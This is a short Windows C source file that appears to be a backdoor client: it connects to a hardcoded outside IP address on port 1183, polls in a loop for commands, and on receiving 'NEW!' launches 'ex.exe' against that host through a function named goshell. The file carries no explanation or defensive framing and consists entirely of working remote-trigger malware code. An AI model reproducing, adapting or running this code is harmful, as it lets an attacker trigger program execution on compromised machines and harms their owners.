#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#pragma comment (lib,"ws2_32")
BOOL sendtotalbuff(SOCKET sock,char * buff,int len)
{
int left;
int ret;
int idx=0;
left=len;
while(left>0)
{
ret=send(sock,&buff[idx],left,0);
if(ret==0)
break;
else if(ret==SOCKET_ERROR)
{
printf("send()failed:%d\n",
WSAGetLastError());
return FALSE;
}
left-=ret;
idx+=ret;
}
return TRUE;
}
BOOL recvtotalbuff(SOCKET sock,char * buff,int len)
{
int left;
int ret;
int idx=0;
left=len;
while(left>0)
{
ret=recv(sock,&buff[idx],left,0);
if(ret==0)
break;
else if(ret==SOCKET_ERROR)
{
printf("recv()failed:%d\n",
WSAGetLastError());
return FALSE;
}
left-=ret;
idx+=ret;
}
return TRUE;
}
// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
void goshell()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
// 执行子程序
if( !CreateProcess( NULL, // No module name (use command line)
"ex.exe 69.59.212.67",//d line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // 句柄对象继承 FALSE
CREATE_NEW_CONSOLE, // No creation flags
NULL, // 使用父进程的环境变量
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi ) // Pointer to PROCESS_INFORMATION structure
)
{
printf( "CreateProcess failed (%d)\n", GetLastError() );
return;
}
}
int main()
{
char buff[250];
WSADATA WSAData;
SOCKET s;
if(WSAStartup (MAKEWORD(2,2), &WSAData) != 0)
{
printf("[-] WSAStartup failed.\n");
WSACleanup();
exit(1);
}
s=Make_Connection("69.59.212.67",1183,10);
if(s<0)
{
printf("connect failed\n");
return -1;
}
while(1)
{
Sleep(200);
memset(buff,0,250);
recvtotalbuff(s,buff,250);
if(strcmp(buff,"KEEP")==0)
{
printf("keep\n");
}else
if(strcmp(buff,"NEW!")==0)
{
printf("NEW!\n");
goshell();
}
}
}